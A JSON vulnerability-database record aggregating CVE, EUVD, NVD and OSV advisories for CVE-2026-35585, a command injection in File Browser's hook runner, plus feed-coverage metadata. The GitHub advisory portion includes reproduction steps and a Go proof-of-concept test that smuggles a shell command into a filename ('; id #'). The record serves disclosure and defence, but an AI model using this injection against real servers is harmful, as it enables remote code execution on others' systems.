{"id":"GO-2026-5481","revision":null,"records":[{"revision":"e84cb2fb12ba477db7a5e59f6a6cda05","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-35585","aliases":[],"title":"File Browser has a Command Injection via Hook Runner","description":"File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. From 2.0.0 until 2.33.8, the hook system in File Browser — which executes administrator-defined shell commands on file events such as upload, rename, and delete — is vulnerable to OS command injection. Variable substitution for values like $FILE and $USERNAME is performed via os.Expand without sanitization. An attacker with file write permission can craft a malicious filename containing shell metacharacters, causing the server to execute arbitrary OS commands when the hook fires. This results in Remote Code Execution (RCE). This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations.","state":0,"publishedAt":"2026-04-07T16:20:46.019+00:00","modifiedAt":"2026-06-09T11:49:46.912+00:00","affected":[{"ecosystem":"Vendor product","name":"filebrowser","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"filebrowser\",\n                    \"product\": \"filebrowser\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 2.0.0-rc.1, < 2.33.8\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":7.5,"severity":"HIGH"}],"references":["https://github.com/filebrowser/filebrowser/security/advisories/GHSA-jvpw-637p-h3pw","https://github.com/filebrowser/filebrowser/issues/5199"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-35585","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-35585","identifiers":["CVE-2026-35585"]},"retained":false,"historicalAffected":[]},{"revision":"1e8d9aa35c3e49cca49708a08f7f763a","observedAt":"2026-11-15T13:07:59.226+00:00","statement":{"source":"euvd","id":"EUVD-2026-19775","aliases":["CVE-2026-35585","GHSA-jvpw-637p-h3pw"],"title":"File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. From 2.0.0 until 2.33.8, the hook system in File Browser — which executes administrator-defined shell c…","description":"File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. From 2.0.0 until 2.33.8, the hook system in File Browser — which executes administrator-defined shell commands on file events such as upload, rename, and delete — is vulnerable to OS command injection. Variable substitution for values like $FILE and $USERNAME is performed via os.Expand without sanitization. An attacker with file write permission can craft a malicious filename containing shell metacharacters, causing the server to execute arbitrary OS commands when the hook fires. This results in Remote Code Execution (RCE). This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":7.5,"severity":null}],"references":["https://github.com/filebrowser/filebrowser/security/advisories/GHSA-jvpw-637p-h3pw","https://github.com/filebrowser/filebrowser/issues/5199"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-19775","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Apr 7, 2026, 4:20:46 PM","dateUpdated":"Jun 9, 2026, 11:49:46 AM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-19775","identifiers":["EUVD-2026-19775","CVE-2026-35585","GHSA-jvpw-637p-h3pw"]},"retained":false,"historicalAffected":[]},{"revision":"62b90ca234a44e62a6d40590d4af9d6b","observedAt":"2026-10-25T08:17:41.961+00:00","statement":{"source":"nvd","id":"CVE-2026-35585","aliases":[],"title":"File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. From 2.0.0 until 2.33.8, the hook system in File Browser — which executes administrator-defined shell c…","description":"File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. From 2.0.0 until 2.33.8, the hook system in File Browser — which executes administrator-defined shell commands on file events such as upload, rename, and delete — is vulnerable to OS command injection. Variable substitution for values like $FILE and $USERNAME is performed via os.Expand without sanitization. An attacker with file write permission can craft a malicious filename containing shell metacharacters, causing the server to execute arbitrary OS commands when the hook fires. This results in Remote Code Execution (RCE). This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations.","state":0,"publishedAt":"2026-04-07T17:16:33.98+00:00","modifiedAt":"2026-06-17T10:40:49.183+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security-advisories@github.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":7.5,"severity":"HIGH"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","score":7.2,"severity":"HIGH"}],"references":["https://github.com/filebrowser/filebrowser/issues/5199","https://github.com/filebrowser/filebrowser/security/advisories/GHSA-jvpw-637p-h3pw"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-35585","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Modified","weaknesses":["CWE-78","CWE-88"],"productCriteria":["cpe:2.3:a:filebrowser:filebrowser:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-04-07T17:16:33.980","lastModified":"2026-06-17T10:40:49.183"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-35585","identifiers":["CVE-2026-35585"]},"retained":false,"historicalAffected":[]},{"revision":"f2939ad12b7b44df9f1b17e8b52e8111","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-jvpw-637p-h3pw","aliases":["CVE-2026-35585","GO-2026-5481"],"title":"File Browser has a Command Injection via Hook Runner","description":"> [!NOTE]\n> **This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations**. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We're publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed.\n>\n> For more information about tracking vulnerability issues related to the Command Execution features, check https://github.com/filebrowser/filebrowser/issues/5199.\n\n## Overview\n\nThe hook system in File Browser — which executes administrator-defined shell commands on file events such as upload, rename, and delete — is vulnerable to OS command injection. Variable substitution for values like `$FILE` and `$USERNAME` is performed via `os.Expand` without sanitization. An attacker with file write permission can craft a malicious filename containing shell metacharacters, causing the server to execute arbitrary OS commands when the hook fires. This results in **Remote Code Execution (RCE)**.\n\n## Affected Location\n\n- **File:** `runner/runner.go`\n- **Function:** `Runner.exec`\n\n## Technical Details\n\n`Runner.exec` expands template variables inside hook command strings using `os.Expand`:\n\n```go\n// runner/runner.go\nenvMapping := func(key string) string {\n    switch key {\n    case \"FILE\":\n        return path       // attacker-controlled filename\n    case \"USERNAME\":\n        return username   // attacker-controlled username\n    // ...\n    }\n}\n\nfor i, arg := range command {\n    if i == 0 { continue }\n    command[i] = os.Expand(arg, envMapping) // expands $FILE, $USERNAME, etc.\n}\n```\n\nThe expanded value is then passed as a shell argument string. `os.Expand` performs plain string substitution with no escaping. If an admin has configured a hook such as:\n\n```\nsh -c \"echo created $FILE\"\n```\n\n...and an attacker creates a file named `; id #`, the variable expansion produces:\n\n```\nsh -c \"echo created /path/to/; id #\"\n```\n\nThe `;` terminates the `echo` command and the shell executes `id` with server privileges. The `#` character comments out the remainder, preventing syntax errors.\n\nThis pattern is exploitable across all hook events: `before_upload`, `after_upload`, `before_rename`, `after_rename`, `before_delete`, `after_delete`, etc.\n\n## Attack Scenario / Reproduction Steps\n\n1. Admin configures an `after_upload` hook: `sh -c \"echo created $FILE\"`.\n2. The attacker (authenticated user with upload permission) uploads a file named `; id #`.\n3. The upload succeeds and the hook fires automatically.\n4. The server executes:\n   ```sh\n   sh -c \"echo created /uploads/; id #\"\n   ```\n5. The `id` command runs, confirming RCE.\n\n## Impact\n\nAny authenticated user with file create, upload, or rename permissions can achieve arbitrary RCE on the server when shell-based hooks are configured. The attacker does not need to know the exact hook command — any hook that embeds `$FILE` in a shell string is exploitable by crafting the filename accordingly.\n\n## Proof of Concept\n\n```go\npackage runner\n\nimport (\n        \"os\"\n        \"testing\"\n\n        \"github.com/filebrowser/filebrowser/v2/settings\"\n)\n\nfunc TestPoC_FileHookInjection(t *testing.T) {\n        // Simulate an admin-configured shell-based hook\n        r := &Runner{\n                Enabled: true,\n                Settings: &settings.Settings{\n                        Shell: []string{\"sh\", \"-c\"},\n                        Commands: map[string][]string{\n                                \"after_upload\": {\"echo Uploaded $FILE\"},\n                        },\n                },\n        }\n\n        // Malicious filename crafted by the attacker\n        maliciousFilename := \"/tmp/safe; id #\"\n\n        // Simulate the exec logic in runner/runner.go\n        raw := r.Commands[\"after_upload\"][0]\n        command, _, _ := ParseCommand(r.Settings, raw)\n\n        envMapping := func(key string) string {\n                if key == \"FILE\" {\n                        return maliciousFilename\n                }\n                return os.Getenv(key)\n        }\n\n        for i, arg := range command {\n                if i == 0 {\n                        continue\n                }\n                // os.Expand substitutes $FILE with the attacker-controlled filename —\n                // no escaping is applied, so shell metacharacters pass through unchanged.\n                command[i] = os.Expand(arg, envMapping)\n        }\n\n        // The resulting command argument is the injected shell script:\n        // sh -c \"echo Uploaded /tmp/safe; id #\"\n        expectedArg := \"echo Uploaded /tmp/safe; id #\"\n        if command[2] != expectedArg {\n                t.Errorf(\"Expected command argument %q, got %q\", expectedArg, command[2])\n        }\n\n        t.Logf(\"Confirmed: filename injection succeeded. Shell will execute: %v\", command)\n}\n```","state":0,"publishedAt":"2026-04-08T00:04:27+00:00","modifiedAt":"2026-09-10T03:50:44.652422+00:00","affected":[{"ecosystem":"Go","name":"github.com/filebrowser/filebrowser/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.33.8"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/filebrowser/filebrowser/security/advisories/GHSA-jvpw-637p-h3pw","https://nvd.nist.gov/vuln/detail/CVE-2026-35585","https://github.com/filebrowser/filebrowser/issues/5199","https://github.com/filebrowser/filebrowser"],"sourceUrl":"https://github.com/advisories/GHSA-jvpw-637p-h3pw","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-jvpw-637p-h3pw","identifiers":["GHSA-jvpw-637p-h3pw","CVE-2026-35585","GO-2026-5481"]},"retained":false,"historicalAffected":[]},{"revision":"62250bdc634f4180a00979e8116a827c","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5481","aliases":["CVE-2026-35585","GHSA-jvpw-637p-h3pw"],"title":"File Browser has a Command Injection via Hook Runner in github.com/filebrowser/filebrowser","description":"File Browser has a Command Injection via Hook Runner in github.com/filebrowser/filebrowser","state":0,"publishedAt":"2026-06-25T22:34:31+00:00","modifiedAt":"2026-06-25T23:01:15.2692924+00:00","affected":[{"ecosystem":"Go","name":"github.com/filebrowser/filebrowser","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/filebrowser/filebrowser/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.33.8"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/filebrowser/filebrowser/security/advisories/GHSA-jvpw-637p-h3pw","https://nvd.nist.gov/vuln/detail/CVE-2026-35585","https://github.com/filebrowser/filebrowser/issues/5199"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5481","license":"OSV · upstream source license applies","key":"osv:GO-2026-5481","identifiers":["GO-2026-5481","CVE-2026-35585","GHSA-jvpw-637p-h3pw"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-15T13:01:41.3445250+00:00","complete":true,"records":1781,"lastAttemptAt":"2026-11-15T13:01:41.344525+00:00","lastSuccessAt":"2026-11-15T13:01:46.2867767+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:01:46.2867777+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-7de4d7559a5263003f03d9f70577ab06f92ba4178309f26fce53e22a4a959294-24e910670d68255a90dfc1d94d37ac5394a0a43e960361a78142e746e5b8e0e9","complete":true,"records":425790,"lastAttemptAt":"2026-11-15T13:01:16.7308429+00:00","lastSuccessAt":"2026-11-15T13:01:16.7018281+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:01:16.7308429+00:00","snapshotPublishedAt":"2026-11-15T12:22:01+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-47f38f0996d04d31b51da25d0a0d9bc1","complete":false,"records":13821,"lastAttemptAt":"2026-11-15T13:17:28.4296709+00:00","lastSuccessAt":"2026-11-15T13:17:28.424+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:17:28.424+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13628,"expectedIdentifiers":13874,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-15T13:01:41.3445250+00:00","complete":true,"records":1125,"lastAttemptAt":"2026-11-15T13:01:41.344525+00:00","lastSuccessAt":"2026-11-15T13:01:46.3027206+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:01:46.3027219+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-00496e381624434cb51cd6ee97f87d5f","complete":true,"records":13833,"lastAttemptAt":"2026-11-15T13:02:04.5706057+00:00","lastSuccessAt":"2026-11-15T13:02:04.555+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:02:04.555+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13874,"expectedIdentifiers":13874,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-64eea06dbd27de8464d5dbce1b78cc794cc59e2d901516ae0d3ea76e624cdae0","complete":true,"records":9955,"lastAttemptAt":"2026-11-15T13:01:38.1237717+00:00","lastSuccessAt":"2026-11-14T13:57:23.1208135+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:01:38.1237717+00:00","snapshotPublishedAt":"2026-11-14T13:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-f4424d7d4861b1af1404bd15abcb83f295dcd003412a9340ca99dc8200aa148a","complete":true,"records":2014,"lastAttemptAt":"2026-11-15T13:01:22.067621+00:00","lastSuccessAt":"2026-11-13T19:57:08.2864435+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:01:22.067621+00:00","snapshotPublishedAt":"2026-11-13T19:33:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-6086d649bcb454cdf302d7d9275177bda73550e1b6e446b3520e9b6266d3582c","complete":true,"records":3148,"lastAttemptAt":"2026-11-15T13:01:41.1317031+00:00","lastSuccessAt":"2026-11-15T11:05:17.1034234+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:01:41.1317031+00:00","snapshotPublishedAt":"2026-11-15T10:03:04+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-ff18f36f13fcca3a20a3fb9274b59b8872d18869a99071730e1e79b625c8f612","complete":true,"records":232475,"lastAttemptAt":"2026-11-15T13:01:28.8971106+00:00","lastSuccessAt":"2026-11-15T11:05:10.4195883+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:01:28.8971106+00:00","snapshotPublishedAt":"2026-11-15T10:33:06+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}